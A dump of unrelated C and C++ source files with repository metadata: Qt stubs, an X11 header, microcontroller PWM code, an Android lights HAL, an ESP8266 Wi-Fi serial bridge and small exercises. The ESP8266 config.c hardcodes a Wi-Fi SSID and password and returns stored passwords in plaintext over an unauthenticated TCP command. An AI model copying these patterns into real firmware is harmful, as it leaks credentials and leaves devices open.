/**************************************************************************** ** ui.h extension file, included from the uic-generated form implementation. ** ** If you want to add, delete, or rename functions or slots, use ** Qt Designer to update this file, preserving your code. ** ** You should not define a constructor or destructor in this file. ** Instead, write your code in functions called init() and destroy(). ** These will automatically be called by the form's constructor and ** destructor. *****************************************************************************/ void Form1::fileNew() { } void Form1::fileOpen() { } void Form1::fileSave() { } void Form1::fileSaveAs() { } void Form1::filePrint() { } void Form1::fileExit() { } void Form1::editUndo() { } void Form1::editRedo() { } void Form1::editCut() { } void Form1::editCopy() { } void Form1::editPaste() { } void Form1::editFind() { } void Form1::helpIndex() { } void Form1::helpContents() { } void Form1::helpAbout() { }
74f061016229754e64ffe765f2a168a1cb6f77b5
5b12a20a67d72e6145302a007a3bae7c3ffa5de9
/Xo/v3/include/XoMosaic.h
71d3adedef1bfa712065d54d03dca15538008622
[]
no_license
gbarrand/OPACS
af24aedc3855630a5a6690064879a84d86dbb714
26bfe7f92009710ff7e25bb811a2c73ec571b81e
refs/heads/master
2022-11-15T00:10:09.857591
2020-07-11T06:22:36
2020-07-11T06:22:36
278,801,522
0
0
null
null
null
null
UTF-8
C
false
false
1,648
h
XoMosaic.h
/* +---------------------- Copyright notice -------------------------------+ */ /* | Copyright (C) 1995, Guy Barrand, LAL Orsay, (barrand@lal.in2p3.fr) | */ /* | Permission to use, copy, modify, and distribute this software | */ /* | and its documentation for any purpose and without fee is hereby | */ /* | granted, provided that the above copyright notice appear in all | */ /* | copies and that both that copyright notice and this permission | */ /* | notice appear in supporting documentation. This software is | */ /* | provided "as is" without express or implied warranty. | */ /* +---------------------- Copyright notice -------------------------------+ */ #ifndef XoMosaic_h #define XoMosaic_h #ifndef NO_X_H #include <X11/Intrinsic.h> #endif typedef struct _XoMosaicClassRec *XoMosaicWidgetClass; typedef struct _XoMosaicRec *XoMosaicWidget; #ifndef XoNhomeDocument #define XoNhomeDocument "homeDocument" #endif #ifndef XoNcontrolsVisible #define XoNcontrolsVisible "controlsVisible" #endif #ifndef XoNcurrentURL #define XoNcurrentURL "currentURL" #endif #ifndef XoNmenuFont #define XoNmenuFont "menuFont" #endif #ifdef __cplusplus extern "C"{ #endif extern WidgetClass xoMosaicWidgetClass; void XoMosaicLoadWindowText (Widget,char*); void XoMosaicShowTopic (Widget,char*); void XoMosaicAddPopupEntry (Widget,char*,XtCallbackProc,XtPointer); void XoMosaicSave (Widget,char*,char*,char*); int mo_not_busy (); int mo_busy (); #ifdef __cplusplus } #endif #ifdef __CI_BIND__ CiBindXoMosaic(0); /**/ #endif #endif /*XoMosaic_h*/
e40343735422537592a947c31853b4d78cd6c768
15d75b65eecf4df77e1170e1b83d0bf28e91b83a
/Lab 2/NW_PWM_F20/src/Source_Files/app.c
ec038e5ee90ffce11a8f4f8c91a134b090ba9c6b
[]
no_license
bsydykov/ECEN-2370-Embedded-Software-Engineering
3c486f9d5936b95346076947a85a16b9d8622bc2
2b3a0a10b8041b3f3c7fbd8077efff409422068a
refs/heads/master
2023-03-16T00:26:35.262280
2020-11-09T17:06:41
2020-11-09T17:06:41
null
0
0
null
null
null
null
UTF-8
C
false
false
3,147
c
app.c
/** * @file app.c * @author Nihcolas Wroblewski * @date 13 September 2020 * @biref Setting up peripherals * */ //*********************************************************************************** // Include files //*********************************************************************************** #include "app.h" //*********************************************************************************** // defined files //*********************************************************************************** //*********************************************************************************** // Static / Private Variables //*********************************************************************************** //*********************************************************************************** // Private functions //*********************************************************************************** static void app_letimer_pwm_open(float period, float act_period, uint32_t out0_route, uint32_t out1_route); //*********************************************************************************** // Global functions //*********************************************************************************** /***************************************************************************//** * @brief Sets vars of APP_LETIMER_PWM_TypeDef for pwm * * * @details Calls gpio_open and cmu_open and inits vars for app_letimer_pwm function * Enables app_letimer_pwm and calls letimer_start * * * @note * cmu_open: routes clock tree and enabled oscillator * gpio_open: enables gpio * app_letimer_pwm_opne(****); enables letimer and sets inputs * * * ******************************************************************************/ void app_peripheral_setup(void){ cmu_open(); gpio_open(); app_letimer_pwm_open(PWM_PER, PWM_ACT_PER, PWM_ROUTE_0, PWM_ROUTE_1); letimer_start(LETIMER0, true); } /***************************************************************************//** * @brief Inits letimer0 for pwm * * * @details letimer_pwm_struct used for values in APP_LETIMER_PWM_TypeDef * * * @note letimer_pwm_open(****) passes letimer_pwm_struct for LETIMER0 * * * @param[in] period Total period of LETIMER0 * * * @param[in] act_period Active period of LETIMER0 * ******************************************************************************/ void app_letimer_pwm_open(float period, float act_period, uint32_t out0_route, uint32_t out1_route){ APP_LETIMER_PWM_TypeDef letimer_pwm_struct; letimer_pwm_struct.debugRun = false; letimer_pwm_struct.enable = false; letimer_pwm_struct.out_pin_route0 = out0_route; letimer_pwm_struct.out_pin_route1 = out1_route; letimer_pwm_struct.out_pin_0_en = true; letimer_pwm_struct.out_pin_1_en = true; letimer_pwm_struct.period = period; letimer_pwm_struct.active_period = act_period; // Initializing LETIMER0 for PWM operation by creating the // letimer_pwm_struct and initializing all of its elements letimer_pwm_open(LETIMER0, &letimer_pwm_struct); // letimer_start will inform the LETIMER0 peripheral to begin counting. // letimer_start(LETIMER0, true); }
6410f1299168a9d73b6f9530830190764af0d536
e699cd126ebd56e312c55ed654c872c405e8cfc5
/src/client/module/ui/ui.h
f85adb8aa7aafbbe1114e8ba353d401c8596001f
[]
no_license
WGrape/Sherk
196d3533688aed085c88e0ab32ca248ce06c1440
22d8e31c07ada37a3e88ff5745f7eb3dc66c935c
refs/heads/master
2020-04-01T00:46:52.882873
2019-09-16T15:21:57
2019-09-16T15:21:57
152,713,248
13
1
null
null
null
null
UTF-8
C
false
false
441
h
ui.h
#ifndef CLIENT_MODULE_UI_H #define CLIENT_MODULE_UI_H // 暴露给外界的接口 #include "include/object/User.h" extern User ui_print_login_dialog(); extern void ui_print_welcome(); extern void ui_print_illegal_input(); extern void ui_print_wait_for_input(char *sql); extern void ui_print_logo(); extern void ui_print_bye(); extern void ui_print_account_not_exist(); extern void ui_print_sql_response_data(char *buffer); #endif
f10a045a8d3967d9bca2712557633387a8ff5489
b19a3535510a52115562b8bceb52b2f6bd1e519a
/Ghvoaevikr/ESpellSlot.h
f8e76fa8517ef6e5fb1c74f649cb577537c98482
[ "MIT" ]
permissive
2274254/VanderLeague
b85d054eceafff13310a78f4c4ee9fe239215c40
f7453a3ce0d1c9c1d05138153801b1245bbd1f45
refs/heads/master
2023-01-13T20:52:47.038625
2020-11-14T18:24:26
2020-11-14T18:24:26
null
0
0
null
null
null
null
UTF-8
C
false
false
344
h
ESpellSlot.h
#pragma once enum class ESpellSlot { Q = 0, W = 1, E = 2, R = 3, D = 4, F = 5, Item1 = 6, Item2 = 7, Item3 = 8, Item4 = 9, Item5 = 10, Item6 = 11, Trinket = 12, Recall = 13 }; enum class SpellState { Ready = 0, NotAvailable = 4, Surpressed = 8, NotLearned = 12, Processing = 24, Cooldown = 32, NoMana = 64, Unknown };
9387cd5cfc10bc9336e75ecdb0f085671eeb0ff6
3d4a55de9940cfb6342e776b7af0d9a26834ca58
/Projetos_nodeLHC/TCP_Transparent/user/config.c
0a284c0bc0eb9e39d6f0c9aa25022a560d2f2026
[]
no_license
alexsunrise/ESP8266
1c960e1a349f6e4ee6f008ea4ee1858672cc8e3e
1ed7b39ac5cb6e13dfba33e3d26f25e443d5dc90
refs/heads/master
2021-01-14T12:39:29.128891
2015-12-15T17:07:32
2015-12-15T17:07:32
null
0
0
null
null
null
null
UTF-8
C
false
false
14,300
c
config.c
#ifndef CONFIG_PARSE_TEST_UNIT // this is the normal build target ESP include set #include "espmissingincludes.h" #include "c_types.h" #include "user_interface.h" #include "espconn.h" #include "mem.h" #include "osapi.h" #include "driver/uart.h" #include "flash_param.h" #include "server.h" #else // test unit target for config_parse // gcc -g -o config_test config.c -D CONFIG_PARSE_TEST_UNIT // ./config_test < config_test.cmd #include <stdio.h> #include <stdlib.h> #include <string.h> #include <stdint.h> struct espconn { int dummy; }; struct station_config { uint8_t ssid[32]; uint8_t password[64]; uint8_t bssid_set; uint8_t bssid[6]; }; struct softap_config { uint8_t ssid[32]; uint8_t password[64]; uint8_t ssid_len; uint8_t channel; uint8_t authmode; uint8_t ssid_hidden; uint8_t max_connection; }; #define os_sprintf sprintf #define os_malloc malloc #define os_strncpy strncpy #define os_strncmp strncmp #define os_free free #define os_bzero bzero #define os_memcpy memcpy #define os_memset memset #define espconn_sent(conn, buf, len) printf(buf) #define AUTH_OPEN 0 #define AUTH_WPA_PSK 2 #define AUTH_WPA2_PSK 3 #define wifi_get_opmode() (printf("wifi_get_opmode()\n") ? 2 : 2) #define wifi_set_opmode(mode) printf("wifi_set_opmode(%d)\n", mode) #define wifi_station_disconnect() printf("wifi_station_disconnect()\n") #define wifi_station_get_config(conf) { strncpy((conf)->ssid, "dummystassid", 32); strncpy((conf)->password, "dummystapassword", 64); } #define wifi_station_set_config(conf) printf("wifi_station_set_config(%s, %s)\n", (conf)->ssid, (conf)->password) #define wifi_station_connect() printf("wifi_station_connect()\n"); #define wifi_get_macaddr(if, result) printf("wifi_get_mac_addr(SOFTAP_IF, macaddr)\n") #define wifi_softap_get_config(conf) { strncpy((conf)->ssid, "dummyapssid", 32); strncpy((conf)->password, "dummyappassword", 64); (conf)->authmode=AUTH_WPA_PSK; (conf)->channel=3; } #define wifi_softap_set_config(conf) printf("wifi_softap_set_config(%s, %s, %d, %d)\n", (conf)->ssid, (conf)->password, (conf)->authmode, (conf)->channel) #define system_restart() printf("system_restart()\n"); #define ETS_UART_INTR_DISABLE() printf("ETS_UART_INTR_DISABLE()\n"); #define ETS_UART_INTR_ENABLE() printf("ETS_UART_INTR_ENABLE()\n"); #endif #include "config.h" #ifdef CONFIG_GPIO void config_gpio(void) { // Initialize the GPIO subsystem. gpio_init(); //Set GPIO2 to output mode PIN_FUNC_SELECT(PERIPHS_IO_MUX_GPIO2_U, FUNC_GPIO2); //Set GPIO2 high gpio_output_set(BIT2, 0, BIT2, 0); } #endif #ifdef CONFIG_STATIC void config_execute(void) { uint8_t mode; struct station_config sta_conf; struct softap_config ap_conf; uint8_t macaddr[6] = { 0, 0, 0, 0, 0, 0 }; const char ssid[32] = "Time Energy"; const char password[32] = "@cessorestrito!"; // make sure the device is in AP and STA combined mode mode = wifi_get_opmode(); wifi_set_opmode(STATION_MODE); // if (mode != STATIONAP_MODE) { // ets_uart_printf("wifi"); // wifi_set_opmode(STATIONAP_MODE); // os_delay_us(10000); // system_restart(); // } // connect to our station os_bzero(&sta_conf, sizeof(struct station_config)); wifi_station_get_config(&sta_conf); os_strncpy(sta_conf.ssid, ssid, 32); os_strncpy(sta_conf.password, password, 32); wifi_station_disconnect(); ETS_UART_INTR_DISABLE(); wifi_station_set_config(&sta_conf); ETS_UART_INTR_ENABLE(); if(wifi_station_connect()){ ets_uart_printf("connected\n"); }else{ ets_uart_printf("not_connected\n"); } // setup the soft AP // os_bzero(&ap_conf, sizeof(struct softap_config)); // wifi_softap_get_config(&ap_conf); // wifi_get_macaddr(SOFTAP_IF, macaddr); // os_strncpy(ap_conf.ssid, AP_SSID, sizeof(ap_conf.ssid)); // ap_conf.ssid_len = strlen(AP_SSID); // os_strncpy(ap_conf.password, AP_PASSWORD, sizeof(ap_conf.password)); // //os_snprintf(&ap_conf.password[strlen(AP_PASSWORD)], sizeof(ap_conf.password) - strlen(AP_PASSWORD), "_%02X%02X%02X", macaddr[3], macaddr[4], macaddr[5]); // //os_sprintf(ap_conf.password[strlen(AP_PASSWORD)], "_%02X%02X%02X", macaddr[3], macaddr[4], macaddr[5]); // ap_conf.authmode = AUTH_WPA_PSK; // ap_conf.channel = 6; // ETS_UART_INTR_DISABLE(); // wifi_softap_set_config(&ap_conf); // ETS_UART_INTR_ENABLE(); } #endif #ifdef CONFIG_DYNAMIC #define MSG_OK "OK\r\n" #define MSG_ERROR "ERROR\r\n" #define MSG_INVALID_CMD "UNKNOWN COMMAND\r\n" #define MAX_ARGS 12 #define MSG_BUF_LEN 128 #ifdef CONFIG_PARSE_TEST_UNIT #endif bool doflash = true; char *my_strdup(char *str) { size_t len; char *copy; len = strlen(str) + 1; if (!(copy = os_malloc((u_int)len))) return (NULL); os_memcpy(copy, str, len); return (copy); } char **config_parse_args(char *buf, uint8_t *argc) { const char delim[] = " \t"; char *save, *tok; char **argv = (char **)os_malloc(sizeof(char *) * MAX_ARGS); // note fixed length os_memset(argv, 0, sizeof(char *) * MAX_ARGS); *argc = 0; for (; *buf == ' ' || *buf == '\t'; ++buf); // absorb leading spaces for (tok = strtok_r(buf, delim, &save); tok; tok = strtok_r(NULL, delim, &save)) { argv[*argc] = my_strdup(tok); (*argc)++; if (*argc == MAX_ARGS) { break; } } return argv; } void config_parse_args_free(uint8_t argc, char *argv[]) { uint8_t i; for (i = 0; i <= argc; ++i) { if (argv[i]) os_free(argv[i]); } os_free(argv); } void config_cmd_reset(serverConnData *conn, uint8_t argc, char *argv[]) { espbuffsentstring(conn, MSG_OK); system_restart(); } #ifdef CONFIG_GPIO void config_cmd_gpio2(serverConnData *conn, uint8_t argc, char *argv[]) { if (argc == 0) espbuffsentprintf(conn, "Args: 0=low, 1=high, 2 <delay in ms>=reset (delay optional).\r\n"); else { uint32_t gpiodelay = 100; if (argc == 2) { gpiodelay = atoi(argv[2]); } uint8_t gpio = atoi(argv[1]); if (gpio < 3) { if (gpio == 0) { gpio_output_set(0, BIT2, BIT2, 0); espbuffsentstring(conn, "LOW\r\n"); } if (gpio == 1) { gpio_output_set(BIT2, 0, BIT2, 0); espbuffsentstring(conn, "HIGH\r\n"); } if (gpio == 2) { gpio_output_set(0, BIT2, BIT2, 0); os_delay_us(gpiodelay*1000); gpio_output_set(BIT2, 0, BIT2, 0); espbuffsentprintf(conn, "RESET %d ms\r\n",gpiodelay); } } else { espbuffsentstring(conn, MSG_ERROR); } } } #endif void config_cmd_baud(serverConnData *conn, uint8_t argc, char *argv[]) { flash_param_t *flash_param = flash_param_get(); UartBitsNum4Char data_bits = GETUART_DATABITS(flash_param->uartconf0); UartParityMode parity = GETUART_PARITYMODE(flash_param->uartconf0); UartStopBitsNum stop_bits = GETUART_STOPBITS(flash_param->uartconf0); const char *stopbits[4] = { "?", "1", "1.5", "2" }; const char *paritymodes[4] = { "E", "O", "N", "?" }; if (argc == 0) espbuffsentprintf(conn, "BAUD=%d %d %s %s\r\n"MSG_OK, flash_param->baud,data_bits + 5, paritymodes[parity], stopbits[stop_bits]); else { uint32_t baud = atoi(argv[1]); if ((baud > (UART_CLK_FREQ / 16)) || baud == 0) { espbuffsentstring(conn, MSG_ERROR); return; } if (argc > 1) { data_bits = atoi(argv[2]); if ((data_bits < 5) || (data_bits > 8)) { espbuffsentstring(conn, MSG_ERROR); return; } data_bits -= 5; } if (argc > 2) { if (strcmp(argv[3], "N") == 0) parity = NONE_BITS; else if (strcmp(argv[3], "O") == 0) parity = ODD_BITS; else if (strcmp(argv[3], "E") == 0) parity = EVEN_BITS; else { espbuffsentstring(conn, MSG_ERROR); return; } } if (argc > 3) { if (strcmp(argv[4], "1")==0) stop_bits = ONE_STOP_BIT; else if (strcmp(argv[4], "2")==0) stop_bits = TWO_STOP_BIT; else if (strcmp(argv[4], "1.5") == 0) stop_bits = ONE_HALF_STOP_BIT; else { espbuffsentstring(conn, MSG_ERROR); return; } } // pump and dump fifo while (TRUE) { uint32_t fifo_cnt = READ_PERI_REG(UART_STATUS(0)) & (UART_TXFIFO_CNT << UART_TXFIFO_CNT_S); if ((fifo_cnt >> UART_TXFIFO_CNT_S & UART_TXFIFO_CNT) == 0) { break; } } os_delay_us(10000); uart_div_modify(UART0, UART_CLK_FREQ / baud); flash_param->baud = baud; flash_param->uartconf0 = CALC_UARTMODE(data_bits, parity, stop_bits); WRITE_PERI_REG(UART_CONF0(UART0), flash_param->uartconf0); if (doflash) { if (flash_param_set()) espbuffsentstring(conn, MSG_OK); else espbuffsentstring(conn, MSG_ERROR); } else espbuffsentstring(conn, MSG_OK); } } void config_cmd_flash(serverConnData *conn, uint8_t argc, char *argv[]) { bool err = false; if (argc == 0) espbuffsentprintf(conn, "FLASH=%d\r\n", doflash); else if (argc != 1) err=true; else { if (strcmp(argv[1], "1") == 0) doflash = true; else if (strcmp(argv[1], "0") == 0) doflash = false; else err=true; } if (err) espbuffsentstring(conn, MSG_ERROR); else espbuffsentstring(conn, MSG_OK); } void config_cmd_port(serverConnData *conn, uint8_t argc, char *argv[]) { flash_param_t *flash_param = flash_param_get(); if (argc == 0) espbuffsentprintf(conn, "PORT=%d\r\n"MSG_OK, flash_param->port); else if (argc != 1) espbuffsentstring(conn, MSG_ERROR); else { uint32_t port = atoi(argv[1]); if ((port == 0)||(port>65535)) { espbuffsentstring(conn, MSG_ERROR); } else { if (port != flash_param->port) { flash_param->port = port; if (flash_param_set()) espbuffsentstring(conn, MSG_OK); else espbuffsentstring(conn, MSG_ERROR); os_delay_us(10000); system_restart(); } else { espbuffsentstring(conn, MSG_OK); } } } // debug { espbuffsentprintf(conn, "flash param:\n\tmagic\t%d\n\tversion\t%d\n\tbaud\t%d\n\tport\t%d\n", flash_param->magic, flash_param->version, flash_param->baud, flash_param->port); } } void config_cmd_mode(serverConnData *conn, uint8_t argc, char *argv[]) { uint8_t mode; if (argc == 0) { espbuffsentprintf(conn, "MODE=%d\r\n"MSG_OK, wifi_get_opmode()); } else if (argc != 1) { espbuffsentstring(conn, MSG_ERROR); } else { mode = atoi(argv[1]); if (mode >= 1 && mode <= 3) { if (wifi_get_opmode() != mode) { ETS_UART_INTR_DISABLE(); wifi_set_opmode(mode); ETS_UART_INTR_ENABLE(); espbuffsentstring(conn, MSG_OK); os_delay_us(10000); system_restart(); } else { espbuffsentstring(conn, MSG_OK); } } else { espbuffsentstring(conn, MSG_ERROR); } } } // spaces are not supported in the ssid or password void config_cmd_sta(serverConnData *conn, uint8_t argc, char *argv[]) { char *ssid = argv[1], *password = argv[2]; struct station_config sta_conf; os_bzero(&sta_conf, sizeof(struct station_config)); wifi_station_get_config(&sta_conf); if (argc == 0) espbuffsentprintf(conn, "SSID=%s PASSWORD=%s\r\n"MSG_OK, sta_conf.ssid, sta_conf.password); else if (argc != 2) espbuffsentstring(conn, MSG_ERROR); else { os_strncpy(sta_conf.ssid, ssid, sizeof(sta_conf.ssid)); os_strncpy(sta_conf.password, password, sizeof(sta_conf.password)); espbuffsentstring(conn, MSG_OK); wifi_station_disconnect(); ETS_UART_INTR_DISABLE(); wifi_station_set_config(&sta_conf); ETS_UART_INTR_ENABLE(); wifi_station_connect(); } } // spaces are not supported in the ssid or password void config_cmd_ap(serverConnData *conn, uint8_t argc, char *argv[]) { char *ssid = argv[1], *password = argv[2]; struct softap_config ap_conf; #define MAXAUTHMODES 5 os_bzero(&ap_conf, sizeof(struct softap_config)); wifi_softap_get_config(&ap_conf); if (argc == 0) espbuffsentprintf(conn, "SSID=%s PASSWORD=%s AUTHMODE=%d CHANNEL=%d\r\n"MSG_OK, ap_conf.ssid, ap_conf.password, ap_conf.authmode, ap_conf.channel); else if (argc > 4) espbuffsentstring(conn, MSG_ERROR); else { //argc > 0 os_strncpy(ap_conf.ssid, ssid, sizeof(ap_conf.ssid)); ap_conf.ssid_len = strlen(ssid); //without set ssid_len, no connection to AP is possible if (argc == 1) { // no password os_bzero(ap_conf.password, sizeof(ap_conf.password)); ap_conf.authmode = AUTH_OPEN; } else { // with password os_strncpy(ap_conf.password, password, sizeof(ap_conf.password)); if (argc > 2) { // authmode int amode = atoi(argv[3]); if ((amode < 1) || (amode>4)) { espbuffsentstring(conn, MSG_ERROR); return; } ap_conf.authmode = amode; } if (argc > 3) { //channel int chan = atoi(argv[4]); if ((chan < 1) || (chan>13)){ espbuffsentstring(conn, MSG_ERROR); return; } ap_conf.channel = chan; } } espbuffsentstring(conn, MSG_OK); ETS_UART_INTR_DISABLE(); wifi_softap_set_config(&ap_conf); ETS_UART_INTR_ENABLE(); } } const config_commands_t config_commands[] = { { "RESET", &config_cmd_reset }, { "BAUD", &config_cmd_baud }, { "PORT", &config_cmd_port }, { "MODE", &config_cmd_mode }, { "STA", &config_cmd_sta }, { "AP", &config_cmd_ap }, { "FLASH", &config_cmd_flash }, { "GPIO2", &config_cmd_gpio2 }, { NULL, NULL } }; void config_parse(serverConnData *conn, char *buf, int len) { char *lbuf = (char *)os_malloc(len + 1), **argv; uint8_t i, argc; // we need a '\0' end of the string os_memcpy(lbuf, buf, len); lbuf[len] = '\0'; // command echo //espbuffsent(conn, lbuf, len); // remove any CR / LF for (i = 0; i < len; ++i) if (lbuf[i] == '\n' || lbuf[i] == '\r') lbuf[i] = '\0'; // verify the command prefix if (os_strncmp(lbuf, "+++AT", 5) != 0) { return; } // parse out buffer into arguments argv = config_parse_args(&lbuf[5], &argc); #if 0 // debugging { uint8_t i; for (i = 0; i < argc; ++i) { espbuffsentprintf(conn, "argument %d: '%s'\r\n", i, argv[i]); } } // end debugging #endif if (argc == 0) { espbuffsentstring(conn, MSG_OK); } else { argc--; // to mimic C main() argc argv for (i = 0; config_commands[i].command; ++i) { if (os_strncmp(argv[0], config_commands[i].command, strlen(argv[0])) == 0) { config_commands[i].function(conn, argc, argv); break; } } if (!config_commands[i].command) espbuffsentstring(conn, MSG_INVALID_CMD); } config_parse_args_free(argc, argv); os_free(lbuf); } #ifdef CONFIG_PARSE_TEST_UNIT const int max_line = 255; int main(int argc, char *argv[]) { char line[max_line]; // read lines and feed them to config_parse while (fgets(line, max_line, stdin) != NULL) { uint8_t len = strlen(line); config_parse(NULL, line, len); } } #endif #endif
2eb08c697c726f315ce472569524989cfed1761e
d525a38d6e99862dbb1186058dc7e77fcb7f1488
/Source/A/MyMacro.h
442f96a5271776be8312e62730dc767b3e7ccdd8
[]
no_license
Yuandiaodiaodiao/UE4-startup
0f9f3d2ea24e07e97ece5a2dda005763c76fd426
d2ddbbe22e173bac4bb15305f62ffa5dfd174f95
refs/heads/master
2023-09-03T22:13:31.683579
2021-09-12T16:49:07
2021-09-12T16:49:07
306,943,082
0
0
null
null
null
null
UTF-8
C
false
false
201
h
MyMacro.h
#pragma once #include "CoreMinimal.h" #define LOGWARNING(FORMAT,...) UE_LOG(LogTemp,Warning,TEXT(FORMAT),##__VA_ARGS__) #define LOGERROR(FORMAT,...) UE_LOG(LogTemp,Error,TEXT(FORMAT),##__VA_ARGS__)
8ff67a5a9d77a1137f8b0ac3e5b65d9b624a9f67
2a40e104c11ab3646e42c79a94aeab9857618581
/basico.c
17d9dd1dc916c28ddac2bb20aa4bc2799a18f702
[]
no_license
limabia/aedI
78235049f451b6e68d28ada5952dd28ff1211373
3909eb2ee85d4b6427ba3bfd27eb4f9cb4bff662
refs/heads/master
2021-08-22T05:50:43.148219
2017-11-29T11:46:04
2017-11-29T11:46:04
105,464,441
0
0
null
null
null
null
UTF-8
C
false
false
398
c
basico.c
#include <stdio.h> typedef int * pontInt; int main(){ pontInt *x; pontInt y; int z; x=&y; y=&z; z = 5; *y = 7; **x = 9; printf("x: %p\n",x); printf("*x: %p\n",*x); printf("**x: %i\n",**x); printf("&x: %p\n",&x); int c[3]; c[0] = 1; c[1] = 2; c[2] = 3; printf("c %p %p %i \n", &c, c, *c ); printf("segundo c %p %p %p \n", &c[0], c+1, &c[1] ); return 0; }
c784a665e40b794828da46562d6b69b1caaa78b8
c3aa5ae90776f52b8a4862ada810886e69e07ea0
/liblights/lights.c
9e720915a96bb19acf7c90799c29773aef50cb36
[]
no_license
Schischu/android_device_moto_wingray
f45770e428b2f464a6bfa0304e24c164b65797fb
3b0813bd4467e436b300c899bd4256014b5ecac8
refs/heads/android-4.3
2021-01-18T21:10:37.783891
2013-12-15T15:01:08
2013-12-15T15:01:08
15,205,301
12
13
null
2014-01-27T18:53:21
2013-12-15T14:56:51
C++
UTF-8
C
false
false
6,729
c
lights.c
/* * Copyright (C) 2008 The Android Open Source Project * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ #define LOG_TAG "lights" #include <cutils/log.h> #include <dirent.h> #include <stdint.h> #include <string.h> #include <unistd.h> #include <errno.h> #include <fcntl.h> #include <pthread.h> #include <linux/input.h> #include <sys/ioctl.h> #include <sys/poll.h> #include <sys/types.h> #include <hardware/lights.h> #define LIGHT_ATTENTION 1 #define LIGHT_NOTIFY 2 /******************************************************************************/ static struct light_state_t *g_notify; static struct light_state_t *g_attention; static pthread_once_t g_init = PTHREAD_ONCE_INIT; static pthread_mutex_t g_lock = PTHREAD_MUTEX_INITIALIZER; /** * device methods */ static int write_int(char const *path, int value) { int fd; static int already_warned = -1; fd = open(path, O_RDWR); if (fd >= 0) { char buffer[20]; int bytes = sprintf(buffer, "%d\n", value); int amt = write(fd, buffer, bytes); close(fd); return amt == -1 ? -errno : 0; } else { if (already_warned == -1) { ALOGE("write_int failed to open %s\n", path); already_warned = 1; } return -errno; } } static int write_string(char const *path, char const *value) { int fd; static int already_warned = -1; fd = open(path, O_RDWR); if (fd >= 0) { char buffer[20]; int bytes = sprintf(buffer, "%s\n", value); int amt = write(fd, buffer, bytes); close(fd); return amt == -1 ? -errno : 0; } else { if (already_warned == -1) { ALOGE("write_int failed to open %s\n", path); already_warned = 1; } return -errno; } } void init_globals(void) { pthread_mutex_init(&g_lock, NULL); g_attention = malloc(sizeof(struct light_state_t)); memset(g_attention, 0, sizeof(*g_attention)); g_notify = malloc(sizeof(struct light_state_t)); memset(g_notify, 0, sizeof(*g_notify)); } static int rgb_to_brightness(struct light_state_t const *state) { /* use max of the RGB components for brightness */ int color = state->color & 0x00ffffff; int red = (color >> 16) & 0x000000ff; int green = (color >> 8) & 0x000000ff; int blue = color & 0x000000ff; int brightness = red; if (green > brightness) brightness = green; if (blue > brightness) brightness = blue; return brightness; } static int set_light_backlight(struct light_device_t *dev, struct light_state_t const *state) { int err = 0; int brightness = rgb_to_brightness(state); pthread_mutex_lock(&g_lock); err = write_int("/sys/class/leds/lcd-backlight/brightness", brightness); pthread_mutex_unlock(&g_lock); return err; } static int set_notification_light(struct light_state_t const* state) { unsigned int brightness = rgb_to_brightness(state); int blink = state->flashOnMS; ALOGD("set_notification_light colorRGB=%08X, onMS=%d, offMS=%d\n", state->color, state->flashOnMS, state->flashOffMS); write_int("/sys/class/leds/notification-led/brightness", brightness); write_int("/sys/class/leds/notification-led/blink", blink); return 0; } static void handle_notification_light_locked(int type) { struct light_state_t *new_state = 0; int attn_mode = 0; if (g_attention->flashMode == LIGHT_FLASH_HARDWARE) attn_mode = g_attention->flashOnMS; switch (type) { case LIGHT_ATTENTION: { if (attn_mode == 0) { /* go back to notify state */ new_state = g_notify; } else { new_state = g_attention; } break; } case LIGHT_NOTIFY: { if (attn_mode != 0) { /* attention takes priority over notify state */ new_state = g_attention; } else { new_state = g_notify; } break; } } if (new_state == 0) { ALOGE("%s: unknown type (%d)\n", __func__, type); return; } set_notification_light(new_state); } static int set_light_notifications(struct light_device_t* dev, struct light_state_t const* state) { pthread_mutex_lock(&g_lock); g_notify->color = state->color; if (state->flashMode != LIGHT_FLASH_NONE) { g_notify->flashMode = LIGHT_FLASH_HARDWARE; g_notify->flashOnMS = state->flashOnMS; g_notify->flashOffMS = state->flashOffMS; } else { g_notify->flashOnMS = 0; g_notify->flashOffMS = 0; } handle_notification_light_locked(LIGHT_NOTIFY); pthread_mutex_unlock(&g_lock); return 0; } static int set_light_attention(struct light_device_t* dev, struct light_state_t const* state) { pthread_mutex_lock(&g_lock); g_attention->flashMode = state->flashMode; g_attention->flashOnMS = state->flashOnMS; g_attention->color = state->color; g_attention->flashOffMS = 0; handle_notification_light_locked(LIGHT_ATTENTION); pthread_mutex_unlock(&g_lock); return 0; } /** Close the lights device */ static int close_lights(struct light_device_t *dev) { if (dev) free(dev); return 0; } /******************************************************************************/ /** * module methods */ /** Open a new instance of a lights device using name */ static int open_lights(const struct hw_module_t *module, char const *name, struct hw_device_t **device) { pthread_t lighting_poll_thread; int (*set_light) (struct light_device_t *dev, struct light_state_t const *state); if (0 == strcmp(LIGHT_ID_BACKLIGHT, name)) set_light = set_light_backlight; else if (0 == strcmp(LIGHT_ID_NOTIFICATIONS, name)) set_light = set_light_notifications; else if (0 == strcmp(LIGHT_ID_ATTENTION, name)) set_light = set_light_attention; else return -EINVAL; pthread_once(&g_init, init_globals); struct light_device_t *dev = malloc(sizeof(struct light_device_t)); memset(dev, 0, sizeof(*dev)); dev->common.tag = HARDWARE_DEVICE_TAG; dev->common.version = 0; dev->common.module = (struct hw_module_t *)module; dev->common.close = (int (*)(struct hw_device_t *))close_lights; dev->set_light = set_light; *device = (struct hw_device_t *)dev; return 0; } static struct hw_module_methods_t lights_module_methods = { .open = open_lights, }; /* * The lights Module */ struct hw_module_t HAL_MODULE_INFO_SYM = { .tag = HARDWARE_MODULE_TAG, .version_major = 1, .version_minor = 0, .id = LIGHTS_HARDWARE_MODULE_ID, .name = "Nvidia lights Module", .author = "Motorola, Inc.", .methods = &lights_module_methods, };
ee1a288050eb56324f4d2c4be82420ae9381ff49
f3217dc23712cfb61beb3d9e3abdfa409f567fc3
/libft_in_use/libc/ft_isalnum.c
915b1004b630633e49ff13f9c25714249f49ae7b
[]
no_license
jho2301/42_cursus
b72ea664ca04292bc55d601686f8698ffa6460d2
e2e873bd3308b44247f23fdbc0362327dd0104be
refs/heads/master
2023-08-15T16:09:46.024880
2021-09-24T07:30:52
2021-09-24T07:30:52
255,310,252
1
0
null
2020-06-07T07:50:00
